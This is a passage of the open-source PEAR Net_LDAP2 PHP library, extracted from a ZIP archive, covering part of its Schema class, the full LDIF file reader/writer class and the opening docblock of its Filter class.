        if (key_exists('syntax', $schema_entry)) {
            if (preg_match('/{(\d+)}/', $schema_entry['syntax'], $matches)) {
                $schema_entry['max_length'] = $matches[1];
            }
        }
        // force a name
        if (empty($schema_entry['name'])) {
            $schema_entry['name'] = $schema_entry['oid'];
        }
        // make one name the default and put the other ones into aliases
        if (is_array($schema_entry['name'])) {
            $aliases                 = $schema_entry['name'];
            $schema_entry['name']    = array_shift($aliases);
            $schema_entry['aliases'] = $aliases;
        }
        return $schema_entry;
    }

    /**
    * Tokenizes the given value into an array of tokens
    *
    * @param string $value String to parse
    *
    * @access protected
    * @return array Array of tokens
    */
    protected function _tokenize($value)
    {
        $tokens  = array();       // array of tokens
        $matches = array();       // matches[0] full pattern match, [1,2,3] subpatterns

        // this one is taken from perl-ldap, modified for php
        $pattern = "/\s* (?:([()]) | ([^'\s()]+) | '((?:[^']+|'[^\s)])*)') \s*/x";

        /**
         * This one matches one big pattern wherin only one of the three subpatterns matched
         * We are interested in the subpatterns that matched. If it matched its value will be
         * non-empty and so it is a token. Tokens may be round brackets, a string, or a string
         * enclosed by '
         */
        preg_match_all($pattern, $value, $matches);

        for ($i = 0; $i < count($matches[0]); $i++) {     // number of tokens (full pattern match)
            for ($j = 1; $j < 4; $j++) {                  // each subpattern
                if (null != trim($matches[$j][$i])) {     // pattern match in this subpattern
                    $tokens[$i] = trim($matches[$j][$i]); // this is the token
                }
            }
        }
        return $tokens;
    }

    /**
    * Returns wether a attribute syntax is binary or not
    *
    * This method gets used by Net_LDAP2_Entry to decide which
    * PHP function needs to be used to fetch the value in the
    * proper format (e.g. binary or string)
    *
    * @param string $attribute The name of the attribute (eg.: 'sn')
    *
    * @access public
    * @return boolean
    */
    public function isBinary($attribute)
    {
        $return = false; // default to false

        // This list contains all syntax that should be treaten as
        // containing binary values
        // The Syntax Definitons go into constants at the top of this page
        $syntax_binary = array(
                           NET_LDAP2_SYNTAX_OCTET_STRING,
                           NET_LDAP2_SYNTAX_JPEG
                         );

        // Check Syntax
        $attr_s = $this->get('attribute', $attribute);
        if (Net_LDAP2::isError($attr_s)) {
            // Attribute not found in schema
            $return = false; // consider attr not binary
        } elseif (isset($attr_s['syntax']) && in_array($attr_s['syntax'], $syntax_binary)) {
            // Syntax is defined as binary in schema
            $return = true;
        } else {
            // Syntax not defined as binary, or not found
            // if attribute is a subtype, check superior attribute syntaxes
            if (isset($attr_s['sup'])) {
                foreach ($attr_s['sup'] as $superattr) {
                    $return = $this->isBinary($superattr);
                    if ($return) {
                        break; // stop checking parents since we are binary
                    }
                }
            }
        }

        return $return;
    }

    /**
    * See if an schema element exists
    *
    * @param string $type Type of name, see get()
    * @param string $name Name or OID
    *
    * @return boolean
    */
    public function exists($type, $name)
    {
        $entry = $this->get($type, $name);
        if ($entry instanceof Net_LDAP2_ERROR) {
                return false;
        } else {
            return true;
        }
    }

    /**
    * See if an attribute is defined in the schema
    *
    * @param string $attribute Name or OID of the attribute
    * @return boolean
    */
    public function attributeExists($attribute)
    {
        return $this->exists('attribute', $attribute);
    }

    /**
    * See if an objectClass is defined in the schema
    *
    * @param string $ocl Name or OID of the objectClass
    * @return boolean
    */
    public function objectClassExists($ocl)
    {
        return $this->exists('objectclass', $ocl);
    }


    /**
    * See to which ObjectClasses an attribute is assigned
    *
    * The objectclasses are sorted into the keys 'may' and 'must'.
    *
    * @param string $attribute Name or OID of the attribute
    *
    * @return array|Net_LDAP2_Error Associative array with OCL names or Error
    */
    public function getAssignedOCLs($attribute)
    {
        $may  = array();
        $must = array();

        // Test if the attribute type is defined in the schema,
        // if so, retrieve real name for lookups
        $attr_entry = $this->get('attribute', $attribute);
        if ($attr_entry instanceof Net_LDAP2_ERROR) {
            return PEAR::raiseError("Attribute $attribute not defined in schema: ".$attr_entry->getMessage());
        } else {
            $attribute = $attr_entry['name'];
        }


        // We need to get all defined OCLs for this.
        $ocls = $this->getAll('objectclasses');
        foreach ($ocls as $ocl => $ocl_data) {
            // Fetch the may and must attrs and see if our searched attr is contained.
            // If so, record it in the corresponding array.
            $ocl_may_attrs  = $this->may($ocl);
            $ocl_must_attrs = $this->must($ocl);
            if (is_array($ocl_may_attrs) && in_array($attribute, $ocl_may_attrs)) {
                array_push($may, $ocl_data['name']);
            }
            if (is_array($ocl_must_attrs) && in_array($attribute, $ocl_must_attrs)) {
                array_push($must, $ocl_data['name']);
            }
        }

        return array('may' => $may, 'must' => $must);
    }

    /**
    * See if an attribute is available in a set of objectClasses
    *
    * @param string $attribute Attribute name or OID
    * @param array $ocls       Names of OCLs to check for
    *
    * @return boolean TRUE, if the attribute is defined for at least one of the OCLs
    */
    public function checkAttribute($attribute, $ocls)
    {
        foreach ($ocls as $ocl) {
            $ocl_entry = $this->get('objectclass', $ocl);
            $ocl_may_attrs  = $this->may($ocl);
            $ocl_must_attrs = $this->must($ocl);
            if (is_array($ocl_may_attrs) && in_array($attribute, $ocl_may_attrs)) {
                return true;
            }
            if (is_array($ocl_must_attrs) && in_array($attribute, $ocl_must_attrs)) {
                return true;
            }
        }
        return false; // no ocl for the ocls found.
    }
}
?>PK
h�\�r�B����(vendor/pear/net_ldap2/Net/LDAP2/LDIF.phpnu�[���<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
/**
* File containing the Net_LDAP2_LDIF interface class.
*
* PHP version 5
*
* @category  Net
* @package   Net_LDAP2
* @author    Benedikt Hallinger <beni@php.net>
* @copyright 2009 Benedikt Hallinger
* @license   http://www.gnu.org/licenses/lgpl-3.0.txt LGPLv3
* @version   SVN: $Id$
* @link      http://pear.php.net/package/Net_LDAP2/
*/

/**
* Includes
*/
require_once 'PEAR.php';
require_once 'Net/LDAP2.php';
require_once 'Net/LDAP2/Entry.php';
require_once 'Net/LDAP2/Util.php';

/**
* LDIF capabilitys for Net_LDAP2, closely taken from PERLs Net::LDAP
*
* It provides a means to convert between Net_LDAP2_Entry objects and LDAP entries
* represented in LDIF format files. Reading and writing are supported and may
* manipulate single entries or lists of entries.
*
* Usage example:
* <code>
* // Read and parse an ldif-file into Net_LDAP2_Entry objects
* // and print out the DNs. Store the entries for later use.
* require 'Net/LDAP2/LDIF.php';
* $options = array(
*       'onerror' => 'die'
* );
* $entries = array();
* $ldif = new Net_LDAP2_LDIF('test.ldif', 'r', $options);
* do {
*       $entry = $ldif->read_entry();
*       $dn    = $entry->dn();
*       echo " done building entry: $dn\n";
*       array_push($entries, $entry);
* } while (!$ldif->eof());
* $ldif->done();
*
*
* // write those entries to another file
* $ldif = new Net_LDAP2_LDIF('test.out.ldif', 'w', $options);
* $ldif->write_entry($entries);
* $ldif->done();
* </code>
*
* @category Net
* @package  Net_LDAP2
* @author   Benedikt Hallinger <beni@php.net>
* @license  http://www.gnu.org/copyleft/lesser.html LGPL
* @link     http://pear.php.net/package/Net_LDAP22/
* @see      http://www.ietf.org/rfc/rfc2849.txt
* @todo     Error handling should be PEARified
* @todo     LDAPv3 controls are not implemented yet
*/
class Net_LDAP2_LDIF extends PEAR
{
    /**
    * Options
    *
    * @access protected
    * @var array
    */
    protected $_options = array('encode'    => 'base64',
                                'onerror'   => null,
                                'change'    => 0,
                                'lowercase' => 0,
                                'sort'      => 0,
                                'version'   => null,
                                'wrap'      => 78,
                                'raw'       => ''
                               );

    /**
    * Errorcache
    *
    * @access protected
    * @var array
    */
    protected $_error = array('error' => null,
                              'line'  => 0
                             );

    /**
    * Filehandle for read/write
    *
    * @access protected
    * @var array
    */
    protected $_FH = null;

    /**
    * Says, if we opened the filehandle ourselves
    *
    * @access protected
    * @var array
    */
    protected $_FH_opened = false;

    /**
    * Linecounter for input file handle
    *
    * @access protected
    * @var array
    */
    protected $_input_line = 0;

    /**
    * counter for processed entries
    *
    * @access protected
    * @var int
    */
    protected $_entrynum = 0;

    /**
    * Mode we are working in
    *
    * Either 'r', 'a' or 'w'
    *
    * @access protected
    * @var string
    */
    protected $_mode = false;

    /**
    * Tells, if the LDIF version string was already written
    *
    * @access protected
    * @var boolean
    */
    protected $_version_written = false;

    /**
    * Cache for lines that have build the current entry
    *
    * @access protected
    * @var boolean
    */
    protected $_lines_cur = array();

    /**
    * Cache for lines that will build the next entry
    *
    * @access protected
    * @var boolean
    */
    protected $_lines_next = array();

    /**
    * Open LDIF file for reading or for writing
    *
    * new (FILE):
    * Open the file read-only. FILE may be the name of a file
    * or an already open filehandle.
    * If the file doesn't exist, it will be created if in write mode.
    *
    * new (FILE, MODE, OPTIONS):
    *     Open the file with the given MODE (see PHPs fopen()), eg "w" or "a".
    *     FILE may be the name of a file or an already open filehandle.
    *     PERLs Net_LDAP2 "FILE|" mode does not work curently.
    *
    *     OPTIONS is an associative array and may contain:
    *       encode => 'none' | 'canonical' | 'base64'
    *         Some DN values in LDIF cannot be written verbatim and have to be encoded in some way:
    *         'none'       No encoding.
    *         'canonical'  See "canonical_dn()" in Net::LDAP::Util.
    *         'base64'     Use base64. (default, this differs from the Perl interface.
    *                                   The perl default is "none"!)
    *
    *       onerror => 'die' | 'warn' | NULL
    *         Specify what happens when an error is detected.
    *         'die'  Net_LDAP2_LDIF will croak with an appropriate message.
    *         'warn' Net_LDAP2_LDIF will warn (echo) with an appropriate message.
    *         NULL   Net_LDAP2_LDIF will not warn (default), use error().
    *
    *       change => 1
    *         Write entry changes to the LDIF file instead of the entries itself. I.e. write LDAP
    *         operations acting on the entries to the file instead of the entries contents.
    *         This writes the changes usually carried out by an update() to the LDIF file.
    *
    *       lowercase => 1
    *         Convert attribute names to lowercase when writing.
    *
    *       sort => 1
    *         Sort attribute names when writing entries according to the rule:
    *         objectclass first then all other attributes alphabetically sorted by attribute name
    *
    *       version => '1'
    *         Set the LDIF version to write to the resulting LDIF file.
    *         According to RFC 2849 currently the only legal value for this option is 1.
    *         When this option is set Net_LDAP2_LDIF tries to adhere more strictly to
    *         the LDIF specification in RFC2489 in a few places.
    *         The default is NULL meaning no version information is written to the LDIF file.
    *
    *       wrap => 78
    *         Number of columns where output line wrapping shall occur.
    *         Default is 78. Setting it to 40 or lower inhibits wrapping.
    *
    *       raw => REGEX
    *         Use REGEX to denote the names of attributes that are to be
    *         considered binary in search results if writing entries.
    *         Example: raw => "/(?i:^jpegPhoto|;binary)/i"
    *
    * @param string|ressource $file    Filename or filehandle
    * @param string           $mode    Mode to open filename
    * @param array            $options Options like described above
    */
    public function __construct($file, $mode = 'r', $options = array())
    {
        parent::__construct('Net_LDAP2_Error'); // default error class

        // First, parse options
        // todo: maybe implement further checks on possible values
        foreach ($options as $option => $value) {
            if (!array_key_exists($option, $this->_options)) {
                $this->dropError('Net_LDAP2_LDIF error: option '.$option.' not known!');
                return;
            } else {
                $this->_options[$option] = strtolower($value);
            }
        }

        // setup LDIF class
        $this->version($this->_options['version']);

        // setup file mode
        if (!preg_match('/^[rwa]\+?$/', $mode)) {
            $this->dropError('Net_LDAP2_LDIF error: file mode '.$mode.' not supported!');
        } else {
            $this->_mode = $mode;

            // setup filehandle
            if (is_resource($file)) {
                // TODO: checks on mode possible?
                $this->_FH =& $file;
            } else {
                $imode = substr($this->_mode, 0, 1);
                if ($imode == 'r') {
                    if (!file_exists($file)) {
                        $this->dropError('Unable to open '.$file.' for read: file not found');
                        $this->_mode = false;
                    }
                    if (!is_readable($file)) {
                        $this->dropError('Unable to open '.$file.' for read: permission denied');
                        $this->_mode = false;
                    }
                }

                if (($imode == 'w' || $imode == 'a')) {
                    if (file_exists($file)) {
                        if (!is_writable($file)) {
                            $this->dropError('Unable to open '.$file.' for write: permission denied');
                            $this->_mode = false;
                        }
                    } else {
                        if (!@touch($file)) {
                            $this->dropError('Unable to create '.$file.' for write: permission denied');
                            $this->_mode = false;
                        }
                    }
                }

                if ($this->_mode) {
                    $this->_FH = @fopen($file, $this->_mode);
                    if (false === $this->_FH) {
                        // Fallback; should never be reached if tests above are good enough!
                        $this->dropError('Net_LDAP2_LDIF error: Could not open file '.$file);
                    } else {
                        $this->_FH_opened = true;
                    }
                }
            }
        }
    }

    /**
    * Read one entry from the file and return it as a Net::LDAP::Entry object.
    *
    * @return Net_LDAP2_Entry
    */
    public function read_entry()
    {
        // read fresh lines, set them as current lines and create the entry
        $attrs = $this->next_lines(true);
        if (count($attrs) > 0) {
            $this->_lines_cur = $attrs;
        }
        return $this->current_entry();
    }

    /**
    * Returns true when the end of the file is reached.
    *
    * @return boolean
    */
    public function eof()
    {
        return feof($this->_FH);
    }

    /**
    * Write the entry or entries to the LDIF file.
    *
    * If you want to build an LDIF file containing several entries AND
    * you want to call write_entry() several times, you must open the filehandle
    * in append mode ("a"), otherwise you will always get the last entry only.
    *
    * @param Net_LDAP2_Entry|array $entries Entry or array of entries
    *
    * @return void
    * @todo implement operations on whole entries (adding a whole entry)
    */
    public function write_entry($entries)
    {
        if (!is_array($entries)) {
            $entries = array($entries);
        }

        foreach ($entries as $entry) {
            $this->_entrynum++;
            if (!$entry instanceof Net_LDAP2_Entry) {
                $this->dropError('Net_LDAP2_LDIF error: entry '.$this->_entrynum.' is not an Net_LDAP2_Entry object');
            } else {
                if ($this->_options['change']) {
                    // LDIF change mode
                    // fetch change information from entry
                    $entry_attrs_changes = $entry->getChanges();
                    $num_of_changes      = count($entry_attrs_changes['add'])
                                           + count($entry_attrs_changes['replace'])
                                           + count($entry_attrs_changes['delete']);


                    $is_changed = ($num_of_changes > 0 || $entry->willBeDeleted() || $entry->willBeMoved());

                    // write version if not done yet
                    // also write DN of entry
                    if ($is_changed) {
                        if (!$this->_version_written) {
                            $this->write_version();
                        }
                        $this->writeDN($entry->currentDN());
                    }

                    // process changes
                    // TODO: consider DN add!
                    if ($entry->willBeDeleted()) {
                        $this->writeLine("changetype: delete".PHP_EOL);
                    } elseif ($entry->willBeMoved()) {
                        $this->writeLine("changetype: modrdn".PHP_EOL);
                        $olddn     = Net_LDAP2_Util::ldap_explode_dn($entry->currentDN(), array('casefold' => 'none')); // maybe gives a bug if using multivalued RDNs
                        $oldrdn    = array_shift($olddn);
                        $oldparent = implode(',', $olddn);
                        $newdn     = Net_LDAP2_Util::ldap_explode_dn($entry->dn(), array('casefold' => 'none')); // maybe gives a bug if using multivalued RDNs
                        $rdn       = array_shift($newdn);
                        $parent    = implode(',', $newdn);
                        $this->writeLine("newrdn: ".$rdn.PHP_EOL);
                        $this->writeLine("deleteoldrdn: 1".PHP_EOL);
                        if ($parent !== $oldparent) {
                            $this->writeLine("newsuperior: ".$parent.PHP_EOL);
                        }
                        // TODO: What if the entry has attribute changes as well?
                        //       I think we should check for that and make a dummy
                        //       entry with the changes that is written to the LDIF file
                    } elseif ($num_of_changes > 0) {
                        // write attribute change data
                        $this->writeLine("changetype: modify".PHP_EOL);
                        foreach ($entry_attrs_changes as $changetype => $entry_attrs) {
                            foreach ($entry_attrs as $attr_name => $attr_values) {
                                $this->writeLine("$changetype: $attr_name".PHP_EOL);
                                if ($attr_values !== null) $this->writeAttribute($attr_name, $attr_values, $changetype);
                                $this->writeLine("-".PHP_EOL);
                            }
                        }
                    }

                    // finish this entrys data if we had changes
                    if ($is_changed) {
                        $this->finishEntry();
                    }
                } else {
                    // LDIF-content mode
                    // fetch attributes for further processing
                    $entry_attrs = $entry->getValues();

                    // sort and put objectclass-attrs to first position
                    if ($this->_options['sort']) {
                        ksort($entry_attrs);
                        if (array_key_exists('objectclass', $entry_attrs)) {
                            $oc = $entry_attrs['objectclass'];
                            unset($entry_attrs['objectclass']);
                            $entry_attrs = array_merge(array('objectclass' => $oc), $entry_attrs);
                        }
                    }

                    // write data
                    if (!$this->_version_written) {
                        $this->write_version();
                    }
                    $this->writeDN($entry->dn());
                    foreach ($entry_attrs as $attr_name => $attr_values) {
                        $this->writeAttribute($attr_name, $attr_values);
                    }
                    $this->finishEntry();
                }
            }
        }
    }

    /**
    * Write version to LDIF
    *
    * If the object's version is defined, this method allows to explicitely write the version before an entry is written.
    * If not called explicitely, it gets called automatically when writing the first entry.
    *
    * @return void
    */
    public function write_version()
    {
        $this->_version_written = true;
        if (!is_null($this->version())) {
            return $this->writeLine('version: '.$this->version().PHP_EOL, 'Net_LDAP2_LDIF error: unable to write version');
        }
    }

    /**
    * Get or set LDIF version
    *
    * If called without arguments it returns the version of the LDIF file or NULL if no version has been set.
    * If called with an argument it sets the LDIF version to VERSION.
    * According to RFC 2849 currently the only legal value for VERSION is 1.
    *
    * @param int $version (optional) LDIF version to set
    *
    * @return int
    */
    public function version($version = null)
    {
        if ($version !== null) {
            if ($version != 1) {
                $this->dropError('Net_LDAP2_LDIF error: illegal LDIF version set');
            } else {
                $this->_options['version'] = $version;
            }
        }
        return $this->_options['version'];
    }

    /**
    * Returns the file handle the Net_LDAP2_LDIF object reads from or writes to.
    *
    * You can, for example, use this to fetch the content of the LDIF file yourself
    *
    * @return null|resource
    */
    public function &handle()
    {
        if (!is_resource($this->_FH)) {
            $this->dropError('Net_LDAP2_LDIF error: invalid file resource');
            $null = null;
            return $null;
        } else {
            return $this->_FH;
        }
    }

    /**
    * Clean up
    *
    * This method signals that the LDIF object is no longer needed.
    * You can use this to free up some memory and close the file handle.
    * The file handle is only closed, if it was opened from Net_LDAP2_LDIF.
    *
    * @return void
    */
    public function done()
    {
        // close FH if we opened it
        if ($this->_FH_opened) {
            fclose($this->handle());
        }

        // free variables
        foreach (get_object_vars($this) as $name => $value) {
            unset($this->$name);
        }
    }

    /**
    * Returns last error message if error was found.
    *
    * Example:
    * <code>
    *  $ldif->someAction();
    *  if ($ldif->error()) {
    *     echo "Error: ".$ldif->error()." at input line: ".$ldif->error_lines();
    *  }
    * </code>
    *
    * @param boolean $as_string If set to true, only the message is returned
    *
    * @return false|Net_LDAP2_Error
    */
    public function error($as_string = false)
    {
        if (Net_LDAP2::isError($this->_error['error'])) {
            return ($as_string)? $this->_error['error']->getMessage() : $this->_error['error'];
        } else {
            return false;
        }
    }

    /**
    * Returns lines that resulted in error.
    *
    * Perl returns an array of faulty lines in list context,
    * but we always just return an int because of PHPs language.
    *
    * @return int
    */
    public function error_lines()
    {
        return $this->_error['line'];
    }

    /**
    * Returns the current Net::LDAP::Entry object.
    *
    * @return Net_LDAP2_Entry|false
    */
    public function current_entry()
    {
        return $this->parseLines($this->current_lines());
    }

    /**
    * Parse LDIF lines of one entry into an Net_LDAP2_Entry object
    *
    * @param array $lines LDIF lines for one entry
    *
    * @return Net_LDAP2_Entry|false Net_LDAP2_Entry object for those lines
    * @todo what about file inclusions and urls? "jpegphoto:< file:///usr/local/directory/photos/fiona.jpg"
    */
    public function parseLines($lines)
    {
        // parse lines into an array of attributes and build the entry
        $attributes = array();
        $dn = false;
        foreach ($lines as $line) {
            if (preg_match('/^(\w+(;binary)?)(:|::|:<)\s(.+)$/', $line, $matches)) {
                $attr  =& $matches[1] . $matches[2];
                $delim =& $matches[3];
                $data  =& $matches[4];

                if ($delim == ':') {
                    // normal data
                    $attributes[$attr][] = $data;
                } elseif ($delim == '::') {
                    // base64 data
                    $attributes[$attr][] = base64_decode($data);
                } elseif ($delim == ':<') {
                    // file inclusion
                    // TODO: Is this the job of the LDAP-client or the server?
                    $this->dropError('File inclusions are currently not supported');
                    //$attributes[$attr][] = ...;
                } else {
                    // since the pattern above, the delimeter cannot be something else.
                    $this->dropError('Net_LDAP2_LDIF parsing error: invalid syntax at parsing entry line: '.$line);
                    continue;
                }

                if (strtolower($attr) == 'dn') {
                    // DN line detected
                    $dn = $attributes[$attr][0];  // save possibly decoded DN
                    unset($attributes[$attr]);    // remove wrongly added "dn: " attribute
                }
            } else {
                // line not in "attr: value" format -> ignore
                // maybe we should rise an error here, but this should be covered by
                // next_lines() already. A problem arises, if users try to feed data of
                // several entries to this method - the resulting entry will
                // get wrong attributes. However, this is already mentioned in the
                // methods documentation above.
            }
        }

        if (false === $dn) {
            $this->dropError('Net_LDAP2_LDIF parsing error: unable to detect DN for entry');
            return false;
        } else {
            $newentry = Net_LDAP2_Entry::createFresh($dn, $attributes);
            return $newentry;
        }
    }

    /**
    * Returns the lines that generated the current Net::LDAP::Entry object.
    *
    * Note that this returns an empty array if no lines have been read so far.
    *
    * @return array Array of lines
    */
    public function current_lines()
    {
        return $this->_lines_cur;
    }

    /**
    * Returns the lines that will generate the next Net::LDAP::Entry object.
    *
    * If you set $force to TRUE then you can iterate over the lines that build
    * up entries manually. Otherwise, iterating is done using {@link read_entry()}.
    * Force will move the file pointer forward, thus returning the next entries lines.
    *
    * Wrapped lines will be unwrapped. Comments are stripped.
    *
    * @param boolean $force Set this to true if you want to iterate over the lines manually
    *
    * @return array
    */
    public function next_lines($force = false)
    {
        // if we already have those lines, just return them, otherwise read
        if (count($this->_lines_next) == 0 || $force) {
            $this->_lines_next = array(); // empty in case something was left (if used $force)
            $entry_done        = false;
            $fh                = &$this->handle();
            $commentmode       = false; // if we are in an comment, for wrapping purposes
            $datalines_read    = 0;     // how many lines with data we have read

            while (!$entry_done && !$this->eof()) {
                $this->_input_line++;
                // Read line. Remove line endings, we want only data;
                // this is okay since ending spaces should be encoded
                $data = rtrim(fgets($fh));
                if ($data === false) {
                    // error only, if EOF not reached after fgets() call
                    if (!$this->eof()) {
                        $this->dropError('Net_LDAP2_LDIF error: error reading from file at input line '.$this->_input_line, $this->_input_line);
                    }
                    break;
                } else {
                    if (count($this->_lines_next) > 0 && preg_match('/^$/', $data)) {
                        // Entry is finished if we have an empty line after we had data
                        $entry_done = true;

                        // Look ahead if the next EOF is nearby. Comments and empty
                        // lines at the file end may cause problems otherwise
                        $current_pos = ftell($fh);
                        $data        = fgets($fh);
                        while (!feof($fh)) {
                            if (preg_match('/^\s*$/', $data) || preg_match('/^#/', $data)) {
                                // only empty lines or comments, continue to seek
                                // TODO: Known bug: Wrappings for comments are okay but are treaten as
                                //       error, since we do not honor comment mode here.
                                //       This should be a very theoretically case, however
                                //       i am willing to fix this if really necessary.
                                $this->_input_line++;
                                $current_pos = ftell($fh);
                                $data        = fgets($fh);
                            } else {
                                // Data found if non emtpy line and not a comment!!
                                // Rewind to position prior last read and stop lookahead
                                fseek($fh, $current_pos);
                                break;
                            }
                        }
                        // now we have either the file pointer at the beginning of
                        // a new data position or at the end of file causing feof() to return true

                    } else {
                        // build lines
                        if (preg_match('/^version:\s(.+)$/', $data, $match)) {
                            // version statement, set version
                            $this->version($match[1]);
                        } elseif (preg_match('/^\w+(;binary)?::?\s.+$/', $data)) {
                            // normal attribute: add line
                            $commentmode         = false;
                            $this->_lines_next[] = trim($data);
                            $datalines_read++;
                        } elseif (preg_match('/^\s(.+)$/', $data, $matches)) {
                            // wrapped data: unwrap if not in comment mode
                            // note that the \s above is some more liberal than
                            // the RFC requests as it also matches tabs etc.
                            if (!$commentmode) {
                                if ($datalines_read == 0) {
                                    // first line of entry: wrapped data is illegal
                                    $this->dropError('Net_LDAP2_LDIF error: illegal wrapping at input line '.$this->_input_line, $this->_input_line);
                                } else {
                                    $last                = array_pop($this->_lines_next);
                                    $last                = $last.$matches[1];
                                    $this->_lines_next[] = $last;
                                    $datalines_read++;
                                }
                            }
                        } elseif (preg_match('/^#/', $data)) {
                            // LDIF comments
                            $commentmode = true;
                        } elseif (preg_match('/^\s*$/', $data)) {
                            // empty line but we had no data for this
                            // entry, so just ignore this line
                            $commentmode = false;
                        } else {
                            $this->dropError('Net_LDAP2_LDIF error: invalid syntax at input line '.$this->_input_line, $this->_input_line);
                            continue;
                        }

                    }
                }
            }
        }
        return $this->_lines_next;
    }

    /**
    * Convert an attribute and value to LDIF string representation
    *
    * It honors correct encoding of values according to RFC 2849.
    * Line wrapping will occur at the configured maximum but only if
    * the value is greater than 40 chars.
    *
    * @param string $attr_name  Name of the attribute
    * @param string $attr_value Value of the attribute
    *
    * @access protected
    * @return string LDIF string for that attribute and value
    */
    protected function convertAttribute($attr_name, $attr_value)
    {
        // Handle empty attribute or process
        if (strlen($attr_value) == 0) {
            $attr_value = " ";
        } else {
            $base64 = false;
            // ASCII-chars that are NOT safe for the
            // start and for being inside the value.
            // These are the int values of those chars.
            $unsafe_init = array(0, 10, 13, 32, 58, 60);
            $unsafe      = array(0, 10, 13);

            // Test for illegal init char
            $init_ord = ord(substr($attr_value, 0, 1));
            if ($init_ord > 127 || in_array($init_ord, $unsafe_init)) {
                $base64 = true;
            }

            // Test for illegal content char
            for ($i = 0; $i < strlen($attr_value); $i++) {
                $char_ord = ord(substr($attr_value, $i, 1));
                if ($char_ord > 127 || in_array($char_ord, $unsafe)) {
                    $base64 = true;
                }
            }

            // Test for ending space
            if (substr($attr_value, -1) == ' ') {
                $base64 = true;
            }

            // If converting is needed, do it
            // Either we have some special chars or a matching "raw" regex
            if ($base64 || ($this->_options['raw'] && preg_match($this->_options['raw'], $attr_name))) {
                $attr_name .= ':';
                $attr_value = base64_encode($attr_value);
            }

            // Lowercase attr names if requested
            if ($this->_options['lowercase']) $attr_name = strtolower($attr_name);

            // Handle line wrapping
            if ($this->_options['wrap'] > 40 && strlen($attr_value) > $this->_options['wrap']) {
                $attr_value = wordwrap($attr_value, $this->_options['wrap'], PHP_EOL." ", true);
            }
        }

        return $attr_name.': '.$attr_value;
    }

    /**
    * Convert an entries DN to LDIF string representation
    *
    * It honors correct encoding of values according to RFC 2849.
    *
    * @param string $dn UTF8-Encoded DN
    *
    * @access protected
    * @return string LDIF string for that DN
    * @todo I am not sure, if the UTF8 stuff is correctly handled right now
    */
    protected function convertDN($dn)
    {
        $base64 = false;
        // ASCII-chars that are NOT safe for the
        // start and for being inside the dn.
        // These are the int values of those chars.
        $unsafe_init = array(0, 10, 13, 32, 58, 60);
        $unsafe      = array(0, 10, 13);

        // Test for illegal init char
        $init_ord = ord(substr($dn, 0, 1));
        if ($init_ord >= 127 || in_array($init_ord, $unsafe_init)) {
            $base64 = true;
        }

        // Test for illegal content char
        for ($i = 0; $i < strlen($dn); $i++) {
            $char = substr($dn, $i, 1);
            if (ord($char) >= 127 || in_array($init_ord, $unsafe)) {
                $base64 = true;
            }
        }

        // Test for ending space
        if (substr($dn, -1) == ' ') {
            $base64 = true;
        }

        // if converting is needed, do it
        return ($base64)? 'dn:: '.base64_encode($dn) : 'dn: '.$dn;
    }

    /**
    * Writes an attribute to the filehandle
    *
    * @param string       $attr_name   Name of the attribute
    * @param string|array $attr_values Single attribute value or array with attribute values
    *
    * @access protected
    * @return void
    */
    protected function writeAttribute($attr_name, $attr_values)
    {
        // write out attribute content
        if (!is_array($attr_values)) {
            $attr_values = array($attr_values);
        }
        foreach ($attr_values as $attr_val) {
            $line = $this->convertAttribute($attr_name, $attr_val).PHP_EOL;
            $this->writeLine($line, 'Net_LDAP2_LDIF error: unable to write attribute '.$attr_name.' of entry '.$this->_entrynum);
        }
    }

    /**
    * Writes a DN to the filehandle
    *
    * @param string $dn DN to write
    *
    * @access protected
    * @return void
    */
    protected function writeDN($dn)
    {
        // prepare DN
        if ($this->_options['encode'] == 'base64') {
            $dn = $this->convertDN($dn).PHP_EOL;
        } elseif ($this->_options['encode'] == 'canonical') {
            $dn = Net_LDAP2_Util::canonical_dn($dn, array('casefold' => 'none')).PHP_EOL;
        } else {
            $dn = $dn.PHP_EOL;
        }
        $this->writeLine($dn, 'Net_LDAP2_LDIF error: unable to write DN of entry '.$this->_entrynum);
    }

    /**
    * Finishes an LDIF entry
    *
    * @access protected
    * @return void
    */
    protected function finishEntry()
    {
        $this->writeLine(PHP_EOL, 'Net_LDAP2_LDIF error: unable to close entry '.$this->_entrynum);
    }

    /**
    * Just write an arbitary line to the filehandle
    *
    * @param string $line  Content to write
    * @param string $error If error occurs, drop this message
    *
    * @access protected
    * @return true|false
    */
    protected function writeLine($line, $error = 'Net_LDAP2_LDIF error: unable to write to filehandle')
    {
        if (is_resource($this->handle()) && fwrite($this->handle(), $line, strlen($line)) === false) {
            $this->dropError($error);
            return false;
        } else {
            return true;
        }
    }

    /**
    * Optionally raises an error and pushes the error on the error cache
    *
    * @param string $msg  Errortext
    * @param int    $line Line in the LDIF that caused the error
    *
    * @access protected
    * @return void
    */
    protected function dropError($msg, $line = null)
    {
        $this->_error['error'] = new Net_LDAP2_Error($msg);
        if ($line !== null) $this->_error['line'] = $line;

        if ($this->_options['onerror'] == 'die') {
            die($msg.PHP_EOL);
        } elseif ($this->_options['onerror'] == 'warn') {
            echo $msg.PHP_EOL;
        }
    }
}
?>
PK
h�\s|��k�k*vendor/pear/net_ldap2/Net/LDAP2/Filter.phpnu�[���<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
/**
* File containing the Net_LDAP2_Filter interface class.
*
* PHP version 5
*
* @category  Net
* @package   Net_LDAP2
* @author    Benedikt Hallinger <beni@php.net>
* @copyright 2009 Benedikt Hallinger
* @license   http://www.gnu.org/licenses/lgpl-3.0.txt LGPLv3
* @version   SVN: $Id$
* @link      http://pear.php.net/package/Net_LDAP2/
*/

/**
* Includes
*/
require_once 'PEAR.php';
require_once 'Net/LDAP2/Util.php';
require_once 'Net/LDAP2/Entry.php';

/**
* Object representation of a part of a LDAP filter.
*
* This Class is not completely compatible to the PERL interface!
*
* The purpose of this class is, that users can easily build LDAP filters
* without having to worry about right escaping etc.
* A Filter is built using several independent filter objects
* which are combined afterwards. This object works in two
* modes, depending how the object is created.
* If the object is created using the {@link create()} method, then this is a leaf-object.
* If the object is created using the {@link combine()} method, then this is a container object.
*
* LDAP filters are defined in RFC-2254 and can be found under
* {@link http://www.ietf.org/rfc/rfc2254.txt}
*
* Here a quick copy&paste example:
* <code>
* $filter0 = Net_LDAP2_Filter::create('stars', 'equals', '***');
* $filter_not0 = Net_LDAP2_Filter::combine('not', $filter0);
*
* $filter1 = Net_LDAP2_Filter::create('gn', 'begins', 'bar');
* $filter2 = Net_LDAP2_Filter::create('gn', 'ends', 'baz');
